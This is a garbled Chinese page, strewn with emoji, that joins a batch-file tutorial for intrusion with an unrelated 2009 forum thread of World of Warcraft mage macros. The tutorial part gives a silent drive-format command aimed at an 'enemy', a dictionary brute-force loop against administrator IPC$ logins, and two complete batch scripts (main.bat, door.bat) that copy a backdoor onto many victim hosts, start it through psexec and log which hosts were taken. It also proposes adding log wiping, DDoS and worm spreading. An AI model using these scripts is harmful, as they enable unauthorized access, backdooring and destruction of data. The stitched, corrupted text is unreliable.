2.@ 命(💩)令
表示不显示(🏖)@后面的命(🉐)令,在入(⭐)侵过程中(例如使用批处(☝)理来格(👾)式化敌人的(🛐)硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
(🛤) @echo Now initializing the program,please wait a minite...
(🔴) (🏮)@format X: /q/u/autoset (format 这个命(💯)令是不可以使用/y这(🦓)个(🎷)参数的,可(♉)喜的是微软(📎)留了(😥)个(🖱)autoset这(🕹)个参数(🛣)给我们,效果和(📵)/y是一样的。)
3.Goto 命令
指定跳转到标(🐄)签(😑),找到标(🍻)签后(🎏),程序将(📝)处理从下一(🖐)行开始的命(🚇)令。
语法:(💇)goto label (label是参数,指定所要转(🤺)向的(🛄)批处理程序中的(💨)行。)
(🚇) Sample:(🤳)
if {%1}=={} goto noparms
(😵) if {%2}=={} goto noparms(如(📖)果(♿)这里(🍮)的if、%1、%2你不明白的话,先跳过去,后面会(🐛)有详细的解释。)
@Rem check parameters if null show usage
(✅) :noparms
echo Usage: monitor.bat ServerIP PortNumber
(🚈)goto end
标签(🤴)的(🤰)名(🐌)字可以随便起,但是最(👓)好是有意义的(😊)字母啦,字(😪)母前加个:用来表(➖)示这(🌇)个字母是标(👧)签,goto命令就(🤣)是根据这个:来寻找下一步跳到到那里。最好有(💌)一些说明(👎)这样你别人(🈷)看起来才(🏼)会理解你的(📡)意图啊。
4.Rem 命令
(🐃) 注释命(🦓)令(💬),在C语言(🍶)中相当与(💴)/*--------*/,它并不会被执行,只是起一个注释的作用(😦),便于别人(🐨)阅读和你(🙋)自己日(🤙)后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:(🛣)
(😜) Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这(😀)个例子中,驱动器 A 中磁盘上的所有文(🍮)件均复制到d:\back中。显示的注释(🎿)提示您(🏞)将另一张磁(🏪)盘(🃏)放入驱动(👞)器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从(🙎)一个批(🎼)处理程序调用另(👣)一个批处(🥋)理程序,并且不终止父批处理程序。call 命令接受用作调用目标(😩)的标签。如果在脚(🌹)本或批处理文件外使用 Call,它将不会在命令(🍓)行起作用(💝)。
(🛂)语法
(🕑) call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参(🍤)数
[Drive:}[Path] FileName
(🏕)指定要调用的批处理程序(🏔)的(🛂)位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名(👲)。
7.start 命令
调用外(🐱)部程序(🦗),所有的DOS命令(🍝)和命令行程序都可以由start命令来调用。
入侵常用参(🐻)数:
MIN 开始时窗(🗯)口最小化
SEPARATE 在分(🥊)开的空间内开(🔍)始 16 位 Windows 程序
HIGH 在 HIGH 优(🕣)先级类别开始应用(😠)程序
REALTIME 在 REALTIME 优先级类别开始应用程(🚙)序
WAIT 启动应用程(🚐)序并等候它结束
parameters 这些为(🎚)传送到命令/程序的参(🍜)数
执行的(♎)应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止(🤲)就返回命令(🎡)提示。如果在命令脚(👡)本内执行,该新行为则(🏺)不会发生。
8.choice 命令
choice 使用此命令可以让用户(🗓)输入一个字符,从而运(🎚)行不同的命(🦀)令。使用时应该加(🐜)/c:参数,c:后应写提示可输入的字符,之间无(👘)空格(🤠)。它(🚘)的(👊)返回码(🕚)为1234……
如: choice /c:dme defrag,mem,end
(📓) 将(🔜)显示
defrag,mem,end[D,M,E]?
(💸) Sample:(🈯)
Sample.bat的(🎆)内容如(🤵)下(🐎):
@echo off
(🚺) choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断(🐭)数值最(💯)高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
(🚜) (🐢)c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此(🛠)文件运行(🔣)后,将显示(😔) defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将(📐)作出判断(🤣),d表示执行(😹)标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执(🍋)行标号为(⛽)end的程序段,每个程序段最(🎛)后都以goto end将程序跳(🎂)到end标号处,然后程序将显示good bye,文件结束。
9.If 命令
if 表示(🔉)将判断是否符合规定(🏫)的条(🖲)件(🔳),从而决定执行不同的命令。 有三种(😬)格式(⏹):
1、if "参数" == "字符串" 待执行的命令
参数如(🐎)果(🌴)等于指定的字符串,则条件成立(😔),运行命令,否(🥣)则运行(😈)下一句。(注意是两个等号)
(🔋)如if "%1"=="a" format a:
if {%1}=={} goto noparms
(📪)if {%2}=={} goto noparms
2、(🏊)if exist 文件名(🎍) 待执行的(🍸)命(🦍)令
(👞)如果有(📪)指定的文件,则条件(🍾)成立(🔟),运行命令,否则(🌘)运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数(👧)字 待执行的命(🏅)令
(🌀) 如果返回码(🍎)等于(🥦)指(🈷)定的数字,则条件成立,运行(🧟)命(🏔)令,否则运行下一句。
如if errorlevel 2 goto x2
DOS程序运行时(🎭)都会返(🕌)回一个数(⌚)字给(😋)DOS,称(🎊)为错(⛄)误码errorlevel或称(🔁)返回码,常见的返回码为(🚠)0、1。
10.for 命令(🎽)
(🚁) for 命令是一(🏟)个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理(🍚)文件中使用 FOR 命令时(🔏),指定变量请使用 %%variable
(🐉)for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单(🐖)一字母可替换的参(🚊)数。
(set) 指定一个或一(🕸)组文件。可以使(👄)用(💲)通(🐴)配符。
command 指定对(🕺)每个文件执行的命(🔅)令。
command-parameters 为特定(🧐)命令指定(🉐)参数或命令(⬛)行开关。
在批处理文件中使(🔟)用 FOR 命令(😥)时,指定变(🚳)量请使用 %%variable
而不要用 %variable。变量(🔘)名(📧)称是区分大小写(♈)的(📣),所以 %i 不同(🔇)于 %I
(🕋)如果命令扩展名被启用(💭),下列额外的 FOR 命令(💮)格式(🔙)会受到支持:
(🐋) FOR /D %variable IN (set) DO command [command-parameters]
如(🤱)果(🌾)集中包(💠)含通(🚉)配符(🐶),则指定与目录名匹配,而不与文(🎛)件名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录(🍺)树,指向每个目录中(💝)的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如(🚚)果(📈)集仅为一(🆙)个单(🛎)点(🏹)(.)字符,则枚举(🏻)该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形(🎥)式(♟)从开始到结束(🧑)的一个数字序列。
(🗼) (🔝)因此,(1,1,5) 将产生(💊)序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
(💓)FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或(🥀)者,如果有 usebackq 选项:
(🙆) FOR /F ["options"] %variable IN (file-set) DO command
(🐹)FOR /F ["options"] %variable IN ("string") DO command
(🍒)FOR /F ["options"] %variable IN (command) DO command
filenameset 为(♑)一个或多个文件名。继续到(💯) filenameset 中的(🖤)下一个文件之前,每份文(✉)件都已被打开、读取并(🌰)经过处理。处理(🍪)包括读取(🚧)文件,将其(👴)分(❤)成一行行的文字,然后将(🏎)每(🤷)行解析成零或更多的符号。然后(⌛)用已找到的(🥌)符号字符(♿)串变(💮)量(👢)值(👞)调(🤦)用 For 循环。以默认(💤)方式,/F 通过每个文件(🈴)的(🕜)每一行中分开的第一(🚪)个空白符号(❎)。跳过空白行(👘)。您可通过指定可选(🔦) "options"参数替(🗼)代默认(🎞)解(🖱)析操作。这个带引号的字符串包括一个或多个指(⬇)定不同(🌿)解析选项(🐜)的关(✳)键字(🍥)。
这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件(😃)开始(🛑)时忽略的行数(😚)。
delims=xxx - 指分隔符集。这(🏍)个替(🦔)换了空格和跳格(👰)键的(👳)默认(🏪)分隔符集。
tokens=x,y,m-n - 指每行的哪一个(🆎)符号被(🆎)传递到每个迭代的 for 本身。这会导致额外变量名(😺)称的格式(🔋)为(😢)一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额(🦏)外的变量将(🕢)在最后一个(⬅)符号解析之分配(🍺)并接受行的(🔢)保留文本。
usebackq - 指(💭)定新语法已在(🐥)下类情况中使用:
在作为命令执行一(🌥)个后引(🚗)号的字符串并且引号字符(🎢)为(🏷)文字字符串(🧝)命令并允(🌨)许在 fi中使用(👫)双(👲)引号(📋)扩起(🍣)文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
(🌉) 会(🗑)分析 myfile.txt 中的每一行,忽略以分号(⚫)打头的那些行,将(🛷)每行中的第二个和(🚝)第三个符号传递给 for 程序体;用逗号和/或空格(🗓)定界符(🔂)号。请注(📫)意,这个 for 程(💁)序体的语句引用 %i 来取得第二个(🔸)符号(😤),引用 %j 来取得(⛲)第三个符号,引用(🍃) %k来取得第三个符(🛌)号(🎎)后的(⚫)所(✖)有剩余符号(😚)。对于带(🏟)有空格的文件(⏭)名,您需要用(💡)双(👉)引号将文件名括起来。为了用这种(🔞)方式来使用双(😕)引号,您(🍕)还需要使用 usebackq 选项,否(🎠)则,双引(♏)号会被理解成是用作定义某个要(🐏)分析的字符串的。
%i 专门(🐋)在 for 语(😽)句中(🛤)得到说明,%j 和 %k 是通过tokens= 选项专门得到说明(💼)的。您可以通过 tokens= 一行指定最多 26 个符(😄)号,只(🏭)要不试图说明一个高于字母(🏢) z 或(🥄)Z 的变量。请记住,FOR 变(🎫)量是单一字母、分大小(👫)写和全局的;同时不(😿)能有 52 个以上都在使用(🌯)中。
您还可以在相(🌨)邻字符(🧜)串上使用 FOR /F 分析(😫)逻辑(🖖);方法是(📇),用单引号将括(😵)号(👄)之间的 filenameset 括(⛓)起(🚚)来(🌺)。这(🖥)样,该字(⏹)符串(🧤)会被当作一个文件中的一个单一输入(🎦)行。
最后,您可以用 FOR /F 命令来分析命令的输(😚)出。方法是,将括号之间的(🅰) filenameset 变成一个反括字符串。该字符串会被当(🎃)作(🙊)命令(🙊)行,传递(🃏)到一个子 CMD.EXE,其(👯)输出会(🛢)被抓进内存,并被当作(🕝)文件分析(🐋)。因此(🛹),以下例子:
(🌔) FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境(😊)中的环境变量名称。
另外(📌),FOR 变量参照的替换已被(📦)增强。您现在(🤺)可以使(📖)用下列选(✉)项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将(🛥) %I 扩(🆘)充到(🎧)一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器(🔰)号
(🎶)%~pI - 仅将 %I 扩充到一个路径(👞)
(🎯)%~nI - 仅将 %I 扩充到一个文(💕)件名
%~xI - 仅将 %I 扩充到一个文(🧟)件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩(🕯)充到文件的文(👦)件属性
%~tI - 将 %I 扩(🔃)充到文件的日期/时(🏷)间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在(📪)路径(🔏)环境变量的目录(🦗),并将 %I 扩充到找(🔈)到的第一(🗿)个完全合格的(👌)名称(🍣)。如(📐)果(🏁)环境变(🎗)量(🧢)未被定义,或者没有找(🗓)到文件,此组合键会扩充(✈)空字符串(🤪)可以组合修(🕳)饰符来得到(🎂)多重结(🧛)果:
%~dpI - 仅将 %I 扩充到一(👜)个驱(🔺)动器号和路径
%~nxI - 仅将 %I 扩充(🌇)到一个文(🐅)件名和扩展名
%~fsI - 仅(🥝)将 %I 扩充到一个带(🛂)有短名的完整(📎)路径名
(💋)%~dp$PATH:i - 查找列在(🔫)路(🎛)径环境变量的目(🏋)录,并将 %I 扩充到找到的第(👄)一个驱动器号和路径。
%~ftzaI - 将 %I 扩(💊)充到类似输出线路的 DIR
在以上例子(🏐)中,%I 和 PATH 可(🎗)用其他有(📟)效数(👹)值代替。%~ 语法用一个有效(🚐)的 FOR 变(🌧)量名终止。选取类似(🚩) %I 的大写(⛷)变量名比较易(🧒)读,而且避免与不分(🍉)大小写的(💩)组合(💢)键混淆。
以(🍘)上是MS的官方(😜)帮助,下面(⏩)我们举(🚃)几个例(🚃)子(📆)来具体说明一下(⏯)For命令在入侵中的用途。
sample2:
(📔) 利用For命令来实(⛔)现对(☕)一台(😿)目标Win2k主机(🏐)的暴力(🖕)密码(💦)破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝(🎣)试这和目标主机进行连接,当(🔯)成功时记下密码。
(⏳) 最主要的(🙎)命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的(🎅)密(🐘)码,在dict.txt中这个取i%的(🏃)值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了(🥁)。
sample3:
你有没(🆓)有过手里有大量肉(➖)鸡(🖥)等着你去种后门 木马呢?,当数量特别多的时候,原本很开心的一件事(🥞)都会变得(⏫)很郁闷(🌡):)。文章开头就谈到(👎)使用(⛵)批处(🤸)理文件,可以简化日常或重(👱)复性任务。那么(🚰)如何实现呢?呵呵(😧),看下去你就会明白了。
主要命令也(🤩)只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
(🥌) tokens的用法请参见上面的sample1,在(😎)这里它表示按顺序将(🖲)victim.txt中的内容传递(🧛)给door.bat中的参数%i %j %k。
而cultivate.bat无非就(🛥)是(🌅)用(🆙)net use命令(🏢)来建立IPC$连接(🔹),并copy木马 后门到victim,然后用(💐)返回码(If errorlever =)来筛选成功种植(🖨)后门的(🎸)主(⬜)机,并echo出来,或者echo到指(🌾)定(⏭)的文件。
(🔎) (🚌)delims= 表示vivtim.txt中的内容是一(🎦)空格来分隔(🕰)的。我想看到这里你也一定明白这victim.txt里的内容(💃)是什么样的了。应该根据(🕞)%%i %%j %%k表示的对象来排列,一(🚸)般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
(🚡):usage
(😓) @echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
(🎴) ------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
(🍰) @if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
(🛹) ----------------- cut here then save as a batchfile(I call it door.bat) -------------------
这只是一个自动种植后(🌬)门(🏌)批处理的雏形,两个批(😀)处理和后门程序(Windrv32.exe),PSexec.exe需(✡)放在(🤘)统一目录下.批处理(⛴)内容
(🛃)尚可扩(🍠)展,例如(🍜):加入(🏘)清除日志 DDOS的(🌅)功(🐙)能,加入定时(🔟)添加用户的功能,更(🖤)深入一点可以(❌)使之具备自动传(🦈)播功能(蠕虫).此处不多做叙述,有(✔)兴趣的朋(🤢)友可自(🧠)行研究.
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宏的正文
1、水(🤟)宝宝
#showtooltip [nopet] [target=pet,dead] 召唤水元素; [pet] 冰冻术
/cast [nopet]召(🥁)唤水元素
/cast [target=pet,dead]召(♎)唤水(🏯)元素
/stopmacro [target=pet,dead]
作者:代(😯)表朝廷
2009-1-12 16:56 回复此发言
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2 3.0法师宏一套大(🈲)派(🍯)送.笔者收藏编写修改了近两年的宏(转)
/cast 冰冻术
/petattack
/click [pet] PetActionButton5
没有BB使用水元素(🔸)技能 有BB使用冰冻术(🛁)技能 即(🕥)使BB死亡状态也可召唤。
如果是刷血色 STSM等副(🍂)本需要(🌰)停留宝(🈹)宝将
/petattac
k改成
/petstay
/petpassive
---停(🛌)留 被动(🐍)
或者做两个宏
—(🌡)————(🔔)————(😝)————(🎸)————我不喜(🦀)欢画分割线—————(👤)———————————(🕳)—
2、无敌重(🗃)置副本宏
/invite 任意在线玩家
/script LeaveParty()
/logout
无(☔)论你组的人有没有组 都会自动邀请再离(🙁)组并小退 达到(🥅)返回副本入口重置副本的目的
3、战场排(🐛)场宏(🛀)
/run JoinBattlefield(0)
适(👓)合秒排时(🏌)用(🥁),打开战场NPC,点此宏将自动排队不会关闭对话窗,以便观(⛓)看进的是否为新场。
新增(🖌):坐(🛩)骑(🆓)宏
#showtooltip
/castrandom [modifier:alt]迅捷雷刃豹;[flyable]白色(🕸)幼龙;迅捷雷刃豹
能飞行(🤓)就召飞行坐(🤨)骑,不能则召唤陆地坐骑。 如(💢)果想在外域骑马就按alt 宏
4、死(💢)绝(🈷)杀
#showtooltip
/stopcasting
/cast 气定神闲
/stopcasting
/use 14
/cast 奥术强化(🚿)
/stopcasting
/cast 火球术
现(🕺)在流行奥法气定火球.
5、冰(🆎)枪术
#showtooltip
/stopcasting
/cast [target=mouseover,harm,nodead]冰枪术;冰(⏭)枪术(🤔)
优先(🔋)攻击鼠标所指的(👊)敌对存(♊)活生物(🍑),其次攻击当前目标。
6、法术反制
#showtooltip
/stopcasting
/Cast [modifier:alt,target=focus,harm,nodead]法术反制(🏙);[target=mouseover,harm,nodead]法(🗣)术(❣)反制;法术反制
alt 宏为(😽)反制焦点,鼠(🚝)标(🌜)所指敌(🤕)对存(🗳)活生物(🙇)反制(优先(🎬)级别(🔻)低(🌝)于焦点反制),直接(📉)按为(➿)反制,
7、变形术
#showtooltip
/Cast [target=mouseover,harm,nodead]变形术;[modifier:alt,target=focus,harm,nodead]变形术(🥝);变形(➰)术
参(📤)考法术反制
8、(🈴)寒冰屏障(♋)
#showtooltip
/stopcasting
/cancelAura 寒冰屏障(🔂)
/cast 寒冰屏(🤗)障
直(🥖)接(🕓)按为冰箱,有冰箱按宏则(🤴)无视公共CD取消冰箱.
9、隐(🦌)形术
#showtooltip
/stopcasting
/cancelaura 隐形术(📨)
/cast 隐(🔇)形术
同(📈)上
10、(✂)
#showtooltip
/TargetLastTarget [noharm]
/cast [modifier:alt]活(😲)体炸弹(🕸);火焰冲击
加了一句(♈)/TargetLastTarget [noharm]
如(👐)果你没有目标则自动选择上一个目标直接施法。 本来加harm的 结(🆘)果按了后会取消当前目标去选上一个目标 所(👐)以(🗞)就改为(🧀)noharm了。
对付盗贼等会消失的职业时很(🚻)好用,缺点是会选到NPC,所以(✉)有附近提议NPC时最好确定敌(⬇)人出(🔄)现后再(🏍)用。
11、
#showtooltip
/TargetLastTarget [noharm]
/cast [modifier:shift]冰枪术;[modifier:alt]火焰冲击;减速(🧚)
同上,减速就好用点了 无视方(⛵)向。
——————————————(🙄)——(🆘)—那你还画线干啥—————(🐲)——————————(🌠)——
作者:(㊙)代表朝廷
2009-1-12 16:56 回复此(🐼)发言
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3 3.0法(🚹)师宏一套(🚏)大派送.笔者收藏(😣)编(📶)写修改了近两年(🅰)的宏(转)
这一部分可以(🔣)省不少按键 强(🍘)烈(👐)推荐
12、
快(🖖)餐店
#showtooltip
/cast [modifier:alt]造水术;[button:3]召唤餐桌;[modifier:shift]魔(📊)法点心;[modifier:ctrl]造食(❄)术;[button:2] 魔法羊(🕊)角面包;魔(🐱)法(🔔)冰川水
一个店(🎫)面(🌱)就可以开个食(🖕)品公司
alt 宏为造水 ctrl 宏为造食 鼠标中键 宏(✅)为拉桌子 shift 宏吃点(🙍)心 左键按宏为喝水(⛴) 右(🥏)键(🚢)吃面包(♏)
下面的宏就不解释这些了
13、传送术
#showtooltip
/cast [modifier:alt]传(🐷)送:暴风城;[modifier:shift]传送:达纳苏斯;[modifier:ctrl]传(🆘)送(🦌):埃索达(🔬);[button:3]传(🛬)送:塞拉摩;[button:2]传送:沙(🚆)塔斯;传送(🔻):铁炉堡
14、传送门
#showtooltip
/cast [modifier:alt]传送门:暴风城;[modifier:shift]传送门:达纳苏斯(🔈);[modifier:ctrl]传送门:(🍞)埃索达;[button:3]传送门:塞拉摩;[button:2]传送门:沙塔斯;传(🈵)送门:铁炉堡
15、Buff
#showtooltip
/cast [modifier:ctrl]魔法增效;[modifier:alt]魔法抑制(🔨);[modifier:shift]专注(🎛)魔法;[button:2]奥术光辉;奥(🚒)术(🚡)智慧
16、护甲
#showtooltip
/cast [modifier:alt]法师护甲;[button:2]冰甲术;熔岩护(🎧)甲
17、一条命
#showtooltip
/cast [modifier:alt]超级治(🛳)疗药水;[modifier:alt]极效治疗石;[modifier:alt]生(🥑)命之血(🛺);[modifier:shift]生命(🌵)之血
/cast [modifier:alt]厚灵纹布绷带;厚灵纹布绷带
按(🅾)shift 宏单独使用生命之血 直接按为绷带 按alt 宏为4者同时用。 不舍得喝(🖖)红时删掉该句既可
18、种族天赋与护符旗(👠)帜
#showtooltip
/cast [modifier:alt]13;[modifier:shift]14;[button:2]联盟军旗(🈂);[modifier:ctrl]雷矛战旗;逃命专家
19、常用N开
#showtooltip
/stopcasting
/cast 奥术强化
/cast 燃烧
/cast 冰冷血(🎼)脉
/cast 14
/cast 火球术
20、宝(🖖)石(📉)
#showtooltip
/cast [modifier:alt]制造法力宝石;法力刚玉(🚘)
21、要你命3000天赋
#showtooltip
/cast [modifier:ctrl]奥(⚪)术强(🏷)化;[modifier:alt]气定神闲;奥术弹幕
22、元素盾
#showtooltip
/cast [modifier:alt]防护火焰结界;防护冰霜结界
23、天神下凡
#showtooltip
/stopcasting
/cast 燃烧
/cast 冰冷血脉
/cast 奥术强化
/cast 气定神闲
/cast 烈(😊)焰菇
/cast 加速药水
/cast 14
这里加/stopcasting 是为了防止宏技能CD不刷新
—(📄)——————————(⛪)——————都是被逼的——————(🍼)————————(🌽)——(🥚)—
以下宏可根据个人需要更改。
24、(♊)
#showtooltip
/cast [modifier:alt]炎(🤗)爆术;火球术
火法专用 快速(😶)瞬发脸(㊙)盆.
25、(🔆)
#showtooltip
/cast [modifier:alt]火球(📤)术;灼烧
冰法专用 快速瞬发火球
26、
#showtooltip
/Cast [modifier:alt]奥术(🦇)冲击;奥术(🍇)飞弹(📹)
作者:代表朝(⏭)廷
2009-1-12 16:56 回复此发言
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4 3.0法(😅)师宏一套(🔀)大派送.笔者(❣)收藏编写修改了近两年的宏(转)
快被(🛒)遗(🌨)忘的奥冲...
27、
#showtooltip
/cast [modifier:alt]烈(🥋)焰风暴;龙息术
瞬发火炉
28、(💐)
#showtooltip
/cast [modifier:alt]烈焰风暴;冲击波(🔩)
瞬发(🔜)火炉
29、(📝)
#showtooltip
/stopcasting
/cast [modifier:alt]法(🔘)术(🎬)偷取;闪(👢)现(👿)术
30、
#showtooltip
/cast [modifier:alt]烈焰(📁)风暴;冰锥术
31、
#showtooltip
/cast [modifier:shift]解除诅咒;[modifier:alt]魔爆术;冰霜(⛅)新星
32、
#showtooltip
/stopcasting
/Cast [modifier:alt]奥术冲击;奥术飞弹
33、
#showtooltip
/cast [modifier:alt]寒冰护体(🧗);[button:2]野魔花(👷);法力护盾
冰法就将寒冰护体和法力(🗂)护盾(🔗)换下位置(🔪)
施法打(🍊)断提示宏,某高人写的 时间太(🤗)久(🐹)不记得了
下(🛺)面3个宏是绑(👃)在一起的 进入游戏后(🥈)按顺序各点(🔳)一次。
之后(📩)你每打断掉别人的施法就会小队喊话
/p [hh:mm:(🈯)ss] 我打断了[某某]的[牛X技能]
并(🚯)且技(🚌)能(🍷)还是个连接 可以看(🏎)到(🧜)一些怪物(🚡)的奇特法术。
34、打断提(⭐)示宏1
/run function SIS_M(a,b,c,d,e,f,g,type) SendChatMessage(" 我打(👦)断了 ["..c.."] 的 \124cff71d5ff\124Hspell:"..f.."\124h["..g.."]\124h\124r。",type);end
35、打断提示宏2
/run function EV_M(...) local a,v,_,b,_,_,c,_,d,e,_,f,g=...;if (v=="SPELL_INTERRUPT" and SIS_M) then SIS_M(a,b,c,d,e,f,g,"partty");end end
----"partty"代表(🈺)小队 可以改(🚍)为"say" "yell" "raid"等。
36、(🛂)打断(👯)提示宏3"
/run if (not MSG_F) then CreateFrame("Frame","MSG_F",UIParent);end MSG_F:RegisterEvent("COMBAT_LOG_EVENT");MSG_F:SetScript("OnEvent",function(_,_,...) if (EV_M) then EV_M(...);end end);
———————(💩)—————(🐛)—————要你命3000分割线—————————————————
mocros-cache 文档 通(📛)用(🔰)部分
以下内容复制(♉)到World of Warcraft\WTF\Account\帐号id目录下
MACRO 12 " 冰枪术" INV_Misc_QuestionMark
#showtooltip
/stopcasting
/cast [target=mouseover,harm,nodead]冰枪术(🦔);冰枪术
END
MACRO 2 " 闪 偷" INV_Misc_QuestionMark
#showtooltip
/stopcasting
/cast [modifier:alt]法术偷取;闪现术
END
MACRO 9 " PVP水宝宝" Spell_Frost_SummonWaterElemental_2
#showtooltip [nopet] [target=pet,dead] 召唤水元素; [pet] 冰冻术
/cast [nopet]召唤水元素
/cast [target=pet,dead]召唤水元(🥖)素
作者:代表朝廷
2009-1-12 16:56 回复此发言
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5 3.0法师(💇)宏一套大派(⭐)送.笔者收藏(🗣)编写修改了近两年的宏(转)(🍸)
/stopmacro [target=pet,dead]
/cast 冰冻术
/petattack
/click [pet] PetActionButton5
END
MACRO 8 " 死绝杀" Spell_Fire_FelFlameBreath
#showtooltip
/stopcasting
/cast 气定神闲
/stopcasting
/use 14
/cast 奥术(😘)强化
/stopcasting
/cast 火球术
END
MACRO 10 " 焦(🏹)点 鼠标(🕴)反制(🎰)" INV_Misc_QuestionMark
#showtooltip
/stopcasting
/Cast [modifier:alt,target=focus,harm,nodead]法(🧡)术反制;[target=mouseover,harm,nodead]法术(✂)反制(🏅);法术反制
END
MACRO 4 " 冰(🍚)锥" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]烈(🏠)焰(🤐)风暴(📞);冰锥术
END
MACRO 6 " 冰锥 诅(😭)咒" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:shift]解除诅咒;[modifier:alt]魔爆术(🌨);冰霜新(🗻)星
END
MACRO 15 " 奥(🚎)术飞(🐑)弹" INV_Misc_QuestionMark
#showtooltip
/Cast [modifier:alt]奥术冲击;奥术飞弹
END
MACRO 7 " 棺(🎇)材" INV_Misc_QuestionMark
#showtooltip
/stopcasting
/cancelAura 寒冰屏(🥛)障
/cast 寒冰屏障
END
MACRO 3 " 火(🏒)冲 炸(🕞)弹" Spell_Fire_Fireball
#showtooltip
/TargetLastTarget [noharm]
/cast [modifier:alt]活体炸弹;火焰冲击
END
MACRO 19 " 灼烧 火球" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]火球术;灼烧
END
MACRO 20 " 奥术天赋" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:ctrl]奥术强化;[modifier:alt]气定神闲;奥术弹幕
END
MACRO 25 " 坐骑" INV_Misc_QuestionMark
#showtooltip
/castrandom [modifier:alt]迅捷雷刃豹;[flyable]白(🗜)色(👀)幼龙;迅捷雷(🤽)刃豹(🖖)
END
MACRO 11 " 隐形术" INV_Misc_QuestionMark
#showtooltip
/stopcasting
/cancelaura 隐形术
/cast 隐形术
END
MACRO 13 " 火盆" Spell_Fire_FlameBolt
#showtooltip
/cast [modifier:alt]炎爆术;火球术
END
MACRO 17 " 瞬发技(🤹)能" Spell_Nature_Slow
#showtooltip
/TargetLastTarget [noharm]
/cast [modifier:shift]冰枪术;[modifier:alt]火(🏩)焰冲击;减速
END
MACRO 5 " 解控制 饰品 军旗" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]13;[button:2]联盟军旗;[modifier:shift]14;[modifier:ctrl]雷(🚅)矛战旗;逃命(🍃)专(🦅)家
作(🤫)者:(👥)代表朝廷
2009-1-12 16:56 回复此发(🕞)言(🎀)
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6 3.0法师(🚢)宏一套大派送.笔者收藏编写修改了近(🛏)两年的宏(转)
END
MACRO 1 "Decursive" INV_Misc_QuestionMark
/stopcasting
/cast [target=mouseover,nomod,exists] 解除(🚍)诅咒; [target=mouseover,exists,mod:alt] 变形术; [target=mouseover,exists,mod:shift] 解除诅咒
END
-----------------------分分分,要(💩)你命------------------
mocros-cache 文档 角色部分(💭) 可(🗿)跟以上(🐁)部分放(🤡)置一起(🔷) MACRO XXXX的数字或(😗)许要改
以(🍬)下内容复制到World of Warcraft\WTF\Account\帐号id\服务器(🏢)\角色(🎼)名 目录下
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MACRO 16777225 " 元素盾" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]防护火焰结界;防(🌕)护冰霜结界
END
MACRO 16777227 " 天神下凡" Spell_Holy_Aspiration
#showtooltip
/stopcasting
/cast 燃烧
/cast 冰冷血(🍳)脉
/cast 奥术强化(🕌)
/cast 气定神闲
/cast 烈焰菇
/cast 加速药水
/cast 14
END
MACRO 16777235 " 快餐店" INV_Misc_QuestionMark
#showtooltip
/cast [modifier:alt]造水术(🔊);[button:3]召唤餐桌;[modifier:shift]魔法点(🆙)心;[modifier:ctrl]造食术;[button:2] 魔(🚩)法羊角(📬)面(📎)包;魔法(🥕)冰川水
END
MACRO 16777220 " 无(🤖)敌重置副本宏" Spell_Holy_DivineIntervention
/invite 任意在线玩家
/script LeaveParty()
/logout
END
